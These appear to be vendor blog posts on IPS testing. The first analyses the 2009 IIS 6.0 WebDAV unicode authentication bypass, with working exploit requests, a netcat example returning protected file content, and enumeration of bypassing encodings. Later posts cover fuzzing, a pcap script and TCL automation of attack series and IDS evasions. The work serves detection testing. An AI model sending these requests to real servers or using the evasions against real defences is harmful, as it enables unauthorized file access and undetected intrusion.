'Slash' and Burn - The IIS 6.0 WebDAV Bug
Update: The iisunicode.rb script was updated to use the correct character sets for each encoding size. Some typos and the description of the script were corrected
On May 12, 2009 Nikolaos Rangos released an advisory detailing an authentication bypass vulnerability in Microsoft IIS 6.0 servers running WebDAV. IIS 6.0 fails to properly handle unicode tokens when parsing URIs when WebDAV is enabled. This failure allows an attacker to access documents in a password-protected directory on the server, and in some configurations even upload documents to the server. Configurations that allow the IUSR_[HOSTNAME] Windows user write access to a WebDAV folder can be abused to perform file uploads. If the server is somewhat misconfigured, and ASP scripts can be uploaded to a directory outside the WebDAV folder (if for instance a non-WebDAV web folder is mapped to be inside the WebDAV root), and ASP scripts are enabled on the directory, it may be possible to execute ASP code on the server.
The advisory shows that the following request will bypass authentication on the IIS server:
GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
The protected URI in question is /protected/protected.zip, with the string %c0%af inserted in the middle. This character is a forward-slash that's been converted to UTF-8 Unicode using the overlong encoding method with a size of 2, the result of which has been URI-encoded. An example of this using the Rex library from the Metasploit framework is shown here:
Rex::Text.uri_encode(Rex::Text.to_unicode('/','utf-8','overlong',2))
=> "%c0%af"
Thierry Zoller posted a comprehensive blogpost on the subject which included a video demonstrating HTTP GET requests downloading files from protected directories, HTTP PROPFIND requests listing protected directories, and HTTP PUT requests uploading ASP code to the IIS server. The video demonstrates the configuration of allowing ASP code to execute as I described above. He also cites work done by the folks behind SkullSecurity, who have posted their analysis as well as some code they created to exploit this vulnerability. Erik Fichtner also discovered this at the same time and contributed a patch to the metasploit module to support it. Check Point also released a a signature to detect attempts at exploiting this vulnerability.
I investigated this vulnerability in order to write strikes for this week's StrikePack. I wondered if %c0%af is the only unicode sequence that allows the authentication bypass. I setup an IIS server with WebDAV, created a password-protected directory, and put a single file inside the DAVroot that contained a string I could match on in a script. I then wrote a script that uses the Rex library, and manually tested a few characters and modified the UTF-8 encoding methods and byte sizes to use. I started finding that authentication bypass occurred using much more than a simple '/' character. I also started to see that it appeared that UTF-8 overlong encodings using 2- and 3-byte characters were the only cases in which authentication was bypassed. UTF-8 overlong encodings using 4-byte lengths or higher never bypassed authentication on the WebDAV server. The unicode-encoded character can appear anywhere inside of the protected directory name, meaning anywhere between the first and last forward slash in the directory part of the URI.
At this point, I decided to enumerate all the single-byte characters in the ASCII range using UTF-8 overlong encodings of size 2 and 3 to see what would work for bypassing authentication. The results were interesting. When using an encoding size of 2, 118 characters bypassed authentication. When using an encoding size of 3, 177 characters bypassed authentication. The differences in the 2 encoding sizes also showed something else interesting. In size-2 mode, many, but not all, of the alphabetic characters successfully bypassed authentication. However, in size-3 mode, no alphabetic characters were successful . In size-2 mode, no character above ASCII value 0x7f was successful , but in size-3 mode, they all were. I'm unsure of the reason behind why this is, but it will make detection a little more difficult for IPS signature teams.
After this discovery, I wondered if there were any invalid UTF-8 encodings that would work that I hadn't found yet. I wrote a script to enumerate all 65K possibilities from %00%00 to %ff%ff. The results from this method exactly agreed with my findings using the Rex library. I have written a version to brute thru the size-3 characters, but that set is 16 million long, which has exceeded my local resource limits. After correcting that, if there are any new findings, I will update this blog post.
I am making the script that uses the Rex library available. This script will produce an HTTP GET request that you can pipe to your server using netcat or something similar. You'll need to modify the Host: header, as well as the path to your protected directory ('/protected') and filename ('secretfile.txt').
Don't forget that any number of UTF-8 characters can be used, which makes detection somewhat interesting. IDS and IPS signatures for this vulnerability must be able to detect all possible encoded characters using multiple UTF-8 encoding lengths in order to block attempts to exploit this vulnerability.
I'll leave you with this example from some of my testing:
$ iisunicode.rb utf-8 overlong 2 1000 | nc iisserver 80
GET /protect%c0%8a%c1%b3%c0%8a%c0%bf%c1%ba%c0%91%c1%93%c0%b9%c0%bb%c0%a4%c1%ab%c0%99%c0%91%c1%8b%c0%86%c1%86%c1%96%c0%ab%c0%a7%c1%88%c0%b9%c1%a8%c1%b1%c1%a6%c0%a9%c1%a9%c1%95%c1%b3%c0%8c%c0%91%c1%be%c1%80%c0%84%c1%a4%c1%86%c0%b9%c0%86%c0%91%c0%94%c0%9e%c0%98%c1%bb%c0%a3%c1%a3%c1%b7%c1%9e%c1%a0%c1%b5%c1%8c%c0%b6%c1%b2%c1%88%c1%8b%c0%89%c0%a1%c1%98%c1%80%c0%85%c0%ac%c0%a8%c1%b6%c1%85%c0%9b%c0%8b%c0%b6%c0%8e%c1%a0%c1%b3%c1%8a%c1%91%c1%b0%c1%a3%c0%94%c0%9e%c1%99%c0%82%c1%a2%c1%89%c1%bd%c1%9e%c1%9a%c0%b0%c0%a4%c1%b5%c0%88%c1%88%c0%ba%c1%b9%c0%80%c1%86%c1%97%c0%aa%c0%9f%c1%bd%c0%82%c0%82%c0%a8%c0%84%c1%aa%c1%97%c1%a7%c0%9a%c1%b0%c1%ab%c1%ac%c1%87%c0%84%c1%9a%c0%8b%c0%ba%c1%b8%c0%88%c0%95%c1%97%c1%9c%c1%a1%c0%ad%c1%a9%c1%8e%c0%8a%c0%b1%c1%9f%c0%a0%c0%8a%c1%aa%c0%84%c1%8a%c0%92%c1%bb%c1%a9%c1%ac%c1%a6%c1%b9%c1%8c%c1%ac%c1%82%c1%98%c0%99%c1%ad%c0%a2%c0%b9%c0%8c%c0%9b%c0%8e%c1%b3%c1%b8%c0%b6%c1%bf%c0%a7%c0%b0%c0%95%c1%a6%c0%8a%c1%b1%c1%9f%c0%a5%c0%a2%c0%b9%c0%a4%c0%a5%c0%8e%c0%98%c0%aa%c0%8b%c1%93%c0%ae%c0%b5%c0%97%c1%ba%c1%bb%c0%91%c1%b3%c0%a1%c1%ad%c1%92%c0%ae%c0%b0%c1%aa%c0%bd%c1%b3%c1%bb%c0%8b%c1%87%c1%89%c0%82%c1%93%c1%b4%c0%a8%c0%84%c1%8e%c0%a5%c0%9c%c0%ac%c0%ae%c1%be%c0%a2%c1%b3%c1%bd%c0%a8%c0%ba%c0%97%c1%ac%c1%ac%c1%ae%c0%ae%c0%b2%c1%93%c1%9c%c0%95%c0%aa%c1%91%c0%83%c0%82%c0%ad%c1%a0%c1%a1%c0%8b%c1%ac%c1%86%c0%80%c1%a2%c1%b0%c1%85%c1%bd%c1%87%c0%af%c0%92%c1%9e%c1%91%c1%86%c0%94%c1%9a%c0%aa%c0%b3%c1%85%c0%8a%c1%92%c0%a7%c1%82%c0%a7%c0%8b%c0%ad%c1%8a%c1%9b%c0%9f%c0%b8%c0%8b%c1%9c%c1%94%c1%b7%c0%bd%c1%a3%c1%a8%c1%b2%c0%83%c0%89%c1%a0%c0%9a%c0%bb%c1%b9%c1%9c%c1%88%c0%af%c0%b4%c1%83%c1%bf%c1%8c%c0%98%c0%9c%c0%be%c0%9f%c1%99%c0%ae%c0%92%c0%94%c1%b0%c1%b3%c0%85%c1%9a%c0%8e%c0%80%c0%b2%c1%aa%c0%95%c1%84%c1%b7%c0%b5%c1%8b%c0%b8%c0%a1%c0%99%c1%96%c0%b7%c1%b0%c0%bb%c1%b6%c0%a4%c1%82%c0%b0%c1%a2%c1%a3%c0%97%c1%b7%c1%9c%c0%bf%c1%93%c0%98%c0%8c%c1%ae%c0%ab%c1%91%c0%a7%c1%91%c0%ae%c0%8b%c1%ba%c0%88%c1%aa%c1%bf%c1%94%c1%8b%c0%a8%c1%be%c0%8c%c0%af%c1%bb%c1%97%c0%bd%c0%bb%c1%8e%c1%bd%c1%bf%c0%8b%c0%9c%c1%a7%c0%9f%c0%a8%c0%af%c1%ae%c1%95%c0%8a%c1%ad%c1%a5%c0%91%c1%bc%c0%a9%c1%87%c0%85%c1%89%c0%94%c1%ad%c0%ae%c1%91%c0%8a%c0%a8%c0%9e%c0%96%c0%a2%c0%bd%c1%92%c1%b3%c1%a0%c0%83%c1%87%c0%95%c1%a3%c0%b3%c1%91%c0%b0%c0%95%c0%a1%c0%93%c1%8e%c0%b4%c0%8e%c1%a8%c1%9c%c0%be%c0%a2%c0%9e%c1%86%c0%87%c1%96%c1%8c%c0%80%c1%bd%c1%b1%c0%a9%c1%8c%c0%88%c1%b7%c1%ab%c1%96%c1%8e%c1%97%c0%8c%c0%82%c0%82%c1%88%c1%a3%c1%aa%c1%bf%c1%92%c1%9a%c0%9b%c1%a2%c1%b9%c1%bf%c0%ab%c1%8a%c0%af%c0%9b%c0%99%c1%98%c0%83%c0%8b%c0%bd%c0%a9%c0%bc%c0%a9%c0%a4%c0%a4%c1%b4%c1%95%c0%ab%c0%b8%c1%ac%c1%bd%c1%9b%c0%a6%c0%b2%c0%8e%c0%91%c1%b1%c1%b1%c0%95%c0%b4%c1%8e%c1%83%c1%a8%c1%a4%c1%9c%c0%83%c0%8b%c0%b1%c0%8c%c1%8c%c0%8b%c1%bc%c0%bf%c0%93%c1%b6%c1%a2%c1%9f%c1%9c%c1%84%c1%8b%c1%84%c0%a2%c0%ba%c1%82%c0%9f%c1%97%c0%bf%c1%96%c0%96%c0%a7%c0%97%c1%8c%c0%9c%c1%9e%c0%91%c0%bc%c0%9e%c0%93%c1%ba%c1%84%c0%92%c0%89%c1%b9%c0%8b%c1%85%c1%b4%c0%99%c0%8c%c1%82%c1%ae%c0%b5%c0%ac%c1%9c%c1%b9%c0%87%c0%91%c1%84%c0%a9%c0%a4%c0%bb%c0%b7%c0%b4%c0%82%c1%9e%c1%8c%c0%9f%c1%8b%c0%9a%c1%a3%c0%a2%c1%88%c0%9b%c0%86%c0%ba%c0%92%c1%98%c1%99%c0%84%c1%b8%c0%a0%c1%95%c1%88%c1%a5%c0%8e%c1%89%c1%87%c1%b6%c1%89%c1%a2%c0%b5%c0%87%c1%a2%c1%8b%c0%83%c1%be%c0%98%c1%a6%c1%a0%c1%9c%c1%a6%c1%bd%c1%b3%c0%a0%c0%a7%c0%9f%c1%9a%c0%87%c0%ba%c0%b3%c0%a7%c1%a6%c0%af%c0%8c%c0%b7%c0%ac%c0%98%c0%95%c1%94%c0%97%c0%86%c1%9a%c0%b9%c0%96%c0%a3%c1%94%c1%93%c1%b2%c1%a9%c1%92%c1%98%c0%b3%c0%94%c1%ac%c0%88%c1%b5%c0%89%c0%a1%c0%a2%c0%a9%c0%9a%c1%be%c0%82%c0%a9%c1%82%c1%94%c0%9e%c0%b2%c0%b6%c1%b9%c1%98%c1%9c%c0%80%c0%94%c1%94%c1%b4%c0%84%c1%92%c1%9c%c1%86%c1%be%c1%b8%c0%99%c0%88%c1%bd%c1%88%c1%8b%c1%b6%c1%b1%c0%ab%c1%85%c1%97%c0%9b%c0%8a%c1%b5%c0%bb%c1%92%c1%97%c0%95%c0%b9%c1%a6%c0%b9%c1%b3%c0%98%c0%89%c0%94%c0%b0%c0%85%c0%aa%c0%ab%c0%8e%c1%8a%c1%80%c0%a4%c0%bf%c1%96%c1%a5%c0%b2%c0%92%c0%b0%c0%b7%c0%9a%c0%8a%c1%b6%c1%a6%c0%ab%c1%af%c1%bd%c1%be%c0%91%c1%b7%c0%b0%c0%b8%c0%83%c1%a3%c0%bc%c0%82%c1%bd%c1%ba%c0%83%c1%b9%c1%98%c0%88%c1%9e%c1%bf%c0%9c%c1%ac%c1%bd%c1%a3%c0%a9%c0%ba%c0%bf%c0%a0%c0%bc%c0%b1%c1%b3%c1%98%c1%91%c0%9b%c1%a4%c0%8b%c0%ab%c0%89%c1%91%c0%b5%c1%a0%c1%9c%c1%9b%c1%bb%c0%b8%c1%ad%c1%96%c0%a8%c1%8c%c1%a2%c1%97%c1%89%c0%89%c0%80%c0%a5%c0%ac%c0%a8%c0%ba%c0%89%c1%ad%c0%97%c1%8c%c1%b3%c1%92%c0%a0%c0%86%c1%a2%c1%be%c0%8b%c0%93%c0%bf%c1%b2%c1%b2%c0%b0%c0%b5%c1%9b%c0%a7%c1%aa%c0%be%c0%af%c1%b0%c0%a6%c0%8b%c1%b8%c1%be%c0%9b%c0%bf%c0%b0%c1%a6%c0%aa%c1%b5%c1%95%c1%95%c1%89%c1%b7%c1%ab%c1%a0%c1%84%c0%b9%c0%b2%c1%a6%c0%a8%c0%8e%c1%9c%c0%a2%c0%84%c1%85%c1%89%c1%8c%c0%a4%c1%86%c0%ba%c0%a1%c0%b6%c0%98%c1%b8%c0%b8%c0%aa%c0%a4%c0%b4%c0%a0%c0%86%c1%95%c0%83%c0%9a%c1%bf%c0%86%c1%b2%c0%bf%c0%85%c1%bc%c1%a7%c1%8e%c1%97%c1%ab%c1%86%c0%a8%c1%92%c1%89%c1%b7%c1%aa%c1%bf%c0%a0%c1%a3%c0%80%c1%8e%c0%ab%c1%ad%c1%a4%c1%82%c1%87%c1%b5%c1%83%c0%92%c0%b9%c1%b3%c1%ab%c0%9c%c0%b8%c1%82%c1%b6%c0%96%c1%bd%c1%99%c1%9e%c0%b8%c1%8c%c0%97%c1%ba%c1%b3%c0%a9%c1%ba%c1%95%c0%ac%c1%b1%c1%a1%c0%ab%c0%84%c1%a5%c0%95%c1%a2%c0%9a%c1%b4%c0%a8%c0%ba%c0%94%c0%83%c1%ab%c1%9a%c0%ac%c0%94%c1%82%c0%a8%c1%b6%c1%b5%c1%a9%c0%92%c1%a8%c1%9c%c1%82%c0%87%c0%93%c0%97%c0%a1%c0%b7%c1%a1%c1%a3%c0%98%c1%a1%c0%a9%c1%b2%c1%a7%c1%96%c1%9e%c0%84%c0%84%c1%93%c0%a7%c0%84%c0%85%c0%94%c1%bb%c1%b9%c1%a5%c1%87%c0%a1%c0%8e%c0%a6%c0%98%c0%b0%c0%89%c0%8e%c1%86%c0%96%c0%87%c1%a6%c1%b7%c0%bf%c0%b1%c0%8b%c0%99%c1%a6%c0%87%c1%85%c0%ba%c1%85%c1%b1%c0%aa%c0%b5%c1%b9%c1%a3%c1%b7%c0%98%c1%96%c0%a2%c0%86%c1%ae%c0%85%c0%ab%c0%8c%c1%a5%c1%b2%c1%91%c0%8e%c1%ac%c0%89%c0%aa%c0%b7%c1%a1%c0%8b%c1%a7%c1%9b%c0%b6%c0%b5%c0%91%c1%91%c0%bd%c0%b0%c1%a4%c0%80%c0%85%c0%b4%c1%9a%c0%9f%c0%a0%c1%87%c1%b5%c0%a1%c1%bc%c0%b9%c1%91%c1%a2%c1%87%c0%a3%c1%b4%c0%9e%c0%8b%c0%b6%c0%a7%c0%b5%c1%bc%c1%82%c0%ba%c1%96%c0%8b%c0%bb%c0%b6%c1%a5%c0%8b%c0%85%c1%b5%c1%b5%c0%b4%c0%9f%c1%9c%c1%87%c1%87%c0%b7%c1%b7%c0%95%c0%96%c0%9b%c1%91%c1%93%c0%a0%c1%b4%c1%b1%c1%b2%c0%86%c0%a2%c0%82%c0%bd%c1%91%c0%99%c1%ae%c0%a9%c0%bc%c0%8a%c0%92%c0%bb%c1%80%c1%8a%c0%a2%c0%aa%c0%94%c0%bc%c0%a7%c0%b8%c0%a8%c0%9e%c0%a1%c0%ad%c0%8a%c0%93%c0%9c%c0%8a%c1%89%c1%b1%c1%83%c1%b4ed/secretfile.txt HTTP/1.1
Translate: f
Connection: close
Host: iisserver
HTTP/1.1 200 OK
Connection: close
Date: Fri, 22 May 2009 21:10:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/plain
Content-Length: 5
ETag: "5e5fb737f8dac91:a6d"
Last-Modified: Fri, 22 May 2009 16:13:17 GMT
Accept-Ranges: bytes
PWNT!
Customers can download StrikePacks 46157/46159 to get access to new strikes that test this vulnerability. StrikeCenter authentication is required.
StackScrambler and the Tale of a Packet Parsing Bug
A core feature of the BreakingPoint product line is the ability to perform any kind of layer 2-7 testing with a single hardware device. BreakingPoint's functionality is divided into 7 test components; these are Bit Blaster for layer 2 ethernet traffic, Routing Robot for layer 3 IP traffic, Session Sender for layer 4 TCP and UDP traffic, AppSim for layer 7 application traffic, Recreate for replaying any captured layer 2-7 traffic, Security for malicious traffic, and finally Stack Scrambler for malformed or fuzzed but benign traffic. My previous posts have predominantly focused on testing using the Security component for testing IPS. Today, I want to take a look at using Stack Scrambler to find bugs in software and devices that inspect packets.
Stack Scrambler - Making Packet OmelettesStack Scrambler is a component that performs stack integrity checking for the Ethernet, IP, TCP, UDP and other stacks of a DUT. It is analogous to the ISIC suite of utilities. During a test, Stack Scrambler sends a stream of mutated packets and includes an ICMP echo request every 100 packets. The ping packets are sent to determine the functional state of the target. When testing a DUT inline, the BreakingPoint box will send pings out on the client interface and receive them on the server interface. When testing a host in endpoint mode (we call this 'one arm' testing), if the target is functioning properly it will respond to our pings with ping response packets. In either mode, we check to make sure that the number of pings sent equals the number of pings received. After the configured test duration, 5 consecutive pings are sent as a final test of the target's functional state.
A bug was reported by our excellent QA folks that the number of pings reported by the component did not match the number actually sent during a test. Troubleshooting this is easy - setup a packet capture, run the test, compare the report with what is seen on the wire.
Packet Capturing with the BreakingPoint EliteThe BreakingPoint Elite has a really cool feature the previous two products do not: a 2GB packet buffer. This packet buffer lets users export up to the last 2GB of the most recently-run test. The packet buffer on the Elite is handled by the FPGAs, which have their own memory for saving packets that are sent and received. This is one feature I am glad we have in the product, and I know that customers are going to get a ton of use from it. Before the Elite, doing packet captures either involved using an external host or using a private, development-only feature of our network processor. Having the packet buffer makes test setup much simpler and completely reliable. You don't have to worry about whether or not your external capture method can keep pace with 40Gbits/sec.
Accessing the packet buffer in the UI
Selecting ports and packet direction when exporting the packet buffer.
Gathering Data on the Bug
I setup a 10 minute test using Stack Scrambler, and left all other parameters at their default. After running the test, I exported a pcap file. In my testing, I did not use a DUT, but instead had the BreakingPoint box running in loopback between two interfaces. In this type of setup, the packets seen on Slot 1/Port 0 will be identical to those on Slot 1/Port 1, so I only exported the packet buffer for the client port. The report for this test run claims 2798 ping packets were sent.
Wireshark display of the packets from Stack Scrambler
I opened the 150k-packet capture file in Wireshark. Since this was a bug about the reported number of ICMP packets, I filtered the list on 'icmp' to get to a total of 1554 ICMP packets, so at this point I've already verified the reported bug. Visually picking out the diagnostic pings is pretty easy - they're a static size, have a static payload, a static ICMP ID field, and a sequential ICMP sequence number. The diagnostic pings also share source and destination IP addresses. In its default configuration, stack scrambler will send fuzzed pings in addition to the diagnostic pings, so I need to filter those out using 'icmp && ip.src==1.1.55.93'. Wireshark now shows 1404 diagnostic ping packets, definitely less than reported. It looks off by about a factor of 2, but not exactly. A quick check shows reported_pings = (diagnostic_pings - final_pings) * 2.
So a quick check of a single test shows that it looks like the stats are double counting all the diagnostic pings sent during the test, except the final burst of 5 consecutive pings. This sounds like a reasonable hypothesis. I wanted to run several tests and verify that the reported pings were always wrong as predicted by the formula above, but I wanted to automate the testing. Since Tod Beardsley wrote yet-another pcap library for ruby, I decided I'd put it to use here. I wrote a quick script that parsed the pcap file, counting ping packets if the ICMP ID matches Stack Scrambler's static value 0xDEAD. I really like blog posts with code examples, so here's a simplified version of what I came up with using PacketFu:
require 'packetfu'
filename = ARGV[0] || exit
count = 0
a = PacketFu::Read.f2a(:file => filename)
a.each do |p|
pkt = PacketFu::Packet.parse(p)
if pkt.is_icmp? && pkt.payload[0,2]=="\xde\xad"
count += 1
end
end
puts "#{count} pings"
puts "buggy report should show #{(count-5)*2} packets"
Did I mention PacketFu
is pretty awesome? It's pretty awesome. So, I wrote a quick TCL script to have the Elite run several tests running for a randomized number of seconds, checking the reported pings for each test. The TCL code looks like this:
$bps configure -name {TCL Scrambler Pcap}
set ch [$bps getChassis]
$ch unreservePort 1 0
$ch unreservePort 1 1
$ch unreservePort 1 2
$ch unreservePort 1 3
$ch reservePort 1 0
$ch reservePort 1 1
set ss [$bps createComponent stackscrambler eggs_benedict]
$ss configure -duration.type seconds -duration.value [expr int((rand()*30)) + 1]
$ss setDomain client 1 default
$ss setDomain server 2 default
$bps save -force
$bps run
set r [$ss result]
set pingssent [$r get pingsSent]
puts "$pingssent reported pings sent"
$ch exportPacketTrace -file scrambler.zip 1 0 both
A quick shell script gets the show on the road:
for x in 0 1 2 3 4 5 6 7 8 9 ; do
echo Iteration ${x}
./scrambler.tcl bpselite elmo elmo
unzip scrambler.zip > /dev/null
mv Slot1Port0.pcap Slot1Port0Iteration${x}.pcap
./icmp.rb Slot1Port0Iteration${x}.pcap
done
Stack Scrambler Brings The Badness
On the first test iteration, Stack Scrambler runs, and I export my pcap file. The ruby script crashes. Saywhat?! The second iteration runs, and that packet capture crashes the ruby script. Every packet capture crashes the ruby script. The crashes look like it's PacketFu. I modified my ruby script in a couple of ways. First, I wrap a ruby begin..rescue block around PacketFu's parse() call; secondly, I save off every packet that causes an exception. We'll come back to the PacketFu-Fail in a moment.
After gathering stats from the 10 iterations of Stack Scrambler, I conclude that my hypothesis was correct. Looking at the code, I see that the diagnostic pings sent during the test are counted as both sent and received on both test interfaces, instead of being counted as sent on the client interface and received on the server interface. After a 2-line fix and a checkin, the Stack Scrambler ping reporting bug was fixed.
PacketFailOk, so back to PacketFu. I went and told TodB that his library was broken. I looked at the list of exception-causing packets. They appeared to have at least one thing in common: they were packets with an ethertype field of 0x0800, which is IPv4, but the IP version in the IP header was not 4. I mentioned this finding to Tod, and he's committed a fix to PacketFu to address the issue.
Using Stack Scrambler and the BreakingPoint Elite might be a little overkill for testing a new packet parsing library written in ruby, but this example shows how easy it is to make assumptions when parsing network traffic. What if a similar bug existed in your IPS or router?
Lately I've been writing a series of posts on the BreakingPoint TCL API. This is the first time I show examples of new API calls that have been added for the BreakingPoint Elite. Next time, I'll be discussing some of the updates in the new API, and how to take advantage of those updates to script testing with the BreakingPoint Elite.
Update: corrected a typo in the ruby code.
Security Evasions with the BreakingPoint TCL API
In the previous two posts on TCL, we've gone from running canned components like Routing Robot and Session Sender to running custom Attack Series with the Security component.
Today, I want to take a look at Security Evasions, explain what they are, and then show how users of the TCL API can apply evasions in their testing.
Evasions are ways an attacker modifies the traffic generated during an attack to cause network security devices to fail in the detection of the attack. They can be applied in different layers; for instance, you can perform layer-3 (IP) evasions by using IP fragmentation, setting your maximum fragment size to 64 bytes. Configuration for IP fragmentation can also accomodate changing the order the fragments are sent, overlapping the fragments in a variety of ways, having the Security component reassemble the frames according to the policy of a given operating system, and even having the client side fragments be a different size than those from the server side.
Of course, IP fragmentation isn't the only way an attacker can attempt evading detection. Evasions exist in each layer of the protocol stack, and they can be applied to Security attacks in the BreakingPoint products individually or in concert to help users find where their IPS fails to detect attacks.
Configuring IP Fragmentation in the Attack Manager
The full list of Security evasion options are available in a couple of ways. They are listed in the BreakingPoint User Guide, which is available from BreakingPoint Systems Documentation page on StrikeCenter (authentication required). Take a look at chapter 6 under Attack Group Options for further information. An alternate way is to use the Attack Manager in the BreakingPoint GUI. The options that are available depend on the specific strikes and strikesets that you have added to your Attack Series.
Getting Back to the Code
So, now's the time to fire up the latest version of harness.tcl to follow along. This is the script that performs the initial connection to your BreakingPoint device and puts you into the interactive TCL shell. Make sure that you're running the script from the directory in which you've extracted lib.tcl, which holds some utility functions that we will need in these examples.
As you have noticed, Security Evasions are grouped together according to what protocols they affect. We've already looked at IP fragmentation, but you can also set options for Ethernet, TCP, UDP, higher-level protocols like HTTP, and even HTML.
So, lets load up the TCL harness and get started:
[*] Connected...
% $bps configure -name "TCL Security Evasion Test"
% set security [$bps createComponent security security-evade]
% $security configure -attackPlan "Clientside Strikes"
% $security setDomain client 1 default
% $security setDomain server 2 default
Here, we've named our test, and selected to use an Attack Series that targets clientside vulnerabilities. If you want to run an existing Attack Series, but are unsure the name to use, you can get a listing with the following command:
% $bps listAttackSeries
When using TCL, we setup the evasion options using nested TCL dictionaries. Most other languages call this data type a hash. Conceptually, the options we will set in this example are hierarchically ordered like this:
This configuration will cause all clientside connections to be made to the server's TCP port 9999, which is useful in testing that the IPS can detect HTTP attacks that are on a port other than the standard port 80. Further, the server's responses will use HTTP chunked encoding, with a chunk size of 100 bytes. This is a good test of the IPS normalization or reassembly engine.
In TCL, this configuration is done as follows:
% set params { TCP { DestinationPortType static DestinationPort 9999 } HTTP { ServerChunkedTransfer true ServerChunkedTransferSize 100 } }
% set xml [_paramOverridesXml [$security id] $params]
% $bps _execXml $xml
% $bps save
% $bps run
The set params line is just the TCL way to define a dictionary, which are key/value pairs. Again, I'm nesting multiple dictionaries. You alternately could use the TCL construct dict create. The second line makes a call to a function I've defined in lib.tcl, _paramOverridesXml. This function generates the XML that we pass to the _execXml call.
With the ability to automate tests, and now with the ability to automate evasions, you can really put an IPS through its paces. You can hone in on a particular filter, and test different evasion techniques to see when detection of a particular attack fails. If you see that a filter fails when non-standard ports are used for HTTP, and you have an HTTP server that listens on a non-standard port, it might make sense to reconfigure the applicable filters to match on that port, and rerun the test again to see how detection rates change. It also makes sense to add background traffic to your test to see how performance changes with the reconfiguration of your filters.
This post shows an API function we haven't used previously, namely the _execXml method. This method is in the TCL API to allow the TCL UI to take advantage of new features that did not exist at the time the TCL API was developed. The GUI communicates with the BreakingPoint device using XML messages. If you're the kind that likes to look at lower-level stuff like this, take your favorite copy of tcpdump and filter on port 8880. You can take XML messages sent from the client, save them in a string in TCL, and use _execXML. If there is some function of the BreakingPoint GUI that doesn't exist in the TCL API, you can extend your scripts using this method call and the appropriate XML.
The code archive for this post updates the previous examples by adding the ability to add evasions to either a single strike, or a set of strikes. Please download, experiment, and post back with questions or examples of your of TCL-fu!
Security Automation With BreakingPoint TCL API
If you're building an IPS, or are running one in your organization, IPS testing is important to ensure attacks are being blocked. In my first post on the BreakingPoint TCL API, I gave just enough detail to get users running default components in the TCL API. If you take a look at the code archive for the last post, you can see that there's not much customization going on. Today I will focus on using the BreakingPoint TCL API to create targeted tests using our Security testing component.
Finding Security AttacksIf you're following along, run the harness.tcl script we mentioned previously to get connected. Then take a look at the output of this command:
% dict for {path strike} [$bps listStrikes -reference MS08-067] { puts "$path [dict get $strike name]" }
Assuming you are running StrikePack 36110 (BreakingPoint users head to the Member's Section above) or greater, you will see a list of strikes covering the MS08-067 NetpwPathCanonicalize bug patched by Microsoft in October 2008. Unsure of what StrikePack revision you're running? You can retrieve that via the TCL API:
% $bps getStrikepackId
As you're digging around in the APIs, remember that the interactive shell provides usage help for all commands. If you issue $bps listStrikes -help, you'll see that you can do searches for strikes by keyword, reference, or protocol, and you can limit your searches to a particular branch of the strike tree (e.g. /strikes/exploits/browser) or to a particular depth.
Now that we know how to search for specific strikes, we need to build an Attack Series. An Attack Series is one or more groups of strikes that can be saved outside of any given test. Each of these groups can have optional sets of Security evasions applied to them.
Creating an Attack Series is simple:
% set attacks [$bps createAttackSeries -name "TCL Demo Attack Series"]
When a new Attack Series is created, a default group called 'Strikes' is created.
Again, take a look at the help by issuing $attacks -help. The main method we care about is addStrike. So, taking the example search above, we can add all the NetpwPathCanonicalize strikes to an Attack Series in a very simple loop:
% dict for {path strike} [$bps listStrikes -reference MS08-067] {
$attacks addStrike Strikes $path
puts "\[+] $path"
}
% $attacks save -force true
Performing the Security Test
The last step we need to get those MS08-067 strikes running is to configure a test with a security component that's set to use our Attack Series. The main difference in running a targeted Attack Series versus just running a canned Security component is to call the configure method with the attackPlan option.
% $bps configure -name "TCL Security Using Attack Series"
% set security [$bps createComponent security TCLDemoSecurityComponent]
% $security setDomain server 1 default
% $security setDomain client 2 default
% $security configure -attackPlan $attacks
% $bps save -force
% $bps run
Looking Forward to Next Time
At this point we have run the test and we can get the results and see how our IPS did at blocking the MS08-067 attacks. You did run the test thru an actual security device, right? I did, and I can say that Brand-X usually blocks the attacks. There are some tests where not all strike attempts are blocked. If that IPS were protecting an actual network, it might be worthwhile to look into that after applying the MS08-067 patch. You have applied that patch, right? Let's hope so.
The code archive for this post includes several variations on the ideas presented here. One script lists all the strikes on the system. Another script will take a single strike path as an argument and run that strike out whichever test ports you specify (that particular script got me free sushi from a customer, so please realize that gifts ARE accepted!). Another script will take multiple strike paths on stdin and create an Attack Series and test. Please take a look at the examples and post back with any code examples of your own!
Next time, I'm going to go deeper on the Security component. We're going to take a look at BreakingPoint's Security Evasions and how to work with them in the TCL API.
Test Automation: BPS TCL!
If you are a BreakingPoint customer, you probably know that each week we release a StrikePack to update our Security and AppSim components. These updates insure that our security coverage is as up-to-date as possible and give customers quick access to the most recently developed application protocol simulations. This type of rapid release schedule requires testing to happen quickly.
Enter the BreakingPoint TCL API. Since we're building test equipment, it stands to reason that people expect (nyuk-nyuk) the availability of TCL to automate their BreakingPoint appliances (and soon, our chassis the BreakingPoint Elite). BreakingPoint provides a custom TCL shell that provides the API for controlling your devices. This shell is used as the interpreter for TCL scripts, as well as an interactive shell. The interactive mode is a great way to explore and learn the API. Customers can also read chapter 14 of the BreakingPoint UserGuide, which can be downloaded from the BreakingPoint Systems Documentation page on StrikeCenter (authentication required). The examples in this post are intended for use with appliances running the 1.2.3 BreakingPoint software release.
BreakingPoint Interactive TCL Shell
To get started, download the BreakingPoint TCL shell from the system start page. When you run it from the command line (or from a script using the -i flag), you'll get a familiar-feeling '% ' prompt. To connect to your BreakingPoint box, issue something similar to the following:
% set host bpsbox
% set username elmo
% set password elmo
% set bps [bps::connect $host $username $password]
This sequence is so common that I have wrapped it inside a script I call harness.tcl, which parses its commandline arguments, makes the initial connection, and then drops you into the interactive shell.
Once you're connected, you can take a quick look at the commands and variables available for use by issuing:
% lsort -increasing [info commands]
% lsort -increasing [info vars]
The listed commands will show usage information when you issue them without arguments, so you can just experiment and see what each of the commands accept. Many variables are defined, but the variable we care about at this point is the $bps variable, which represents the connection we have established to the BreakingPoint appliance.
The $bps object gives commands to control many aspects of the device: tests, components, application profiles, attack series, load profiles, DUTs, reports, and device management.
Running a Security Test with TCL
So let's dive in and configure a simple test with a single Security component. The basic steps are:
- Name the test
- Add a security component
- Set the test interfaces for the component
- Save and run the test
- Review the results
The code for this is pretty simple:
% set componentname security
% $bps configure -name "TCL Demo Test $componentname"
% set component [$bps createComponent $componentname tcldemo_${componentname}]
% $component setDomain server 1 default
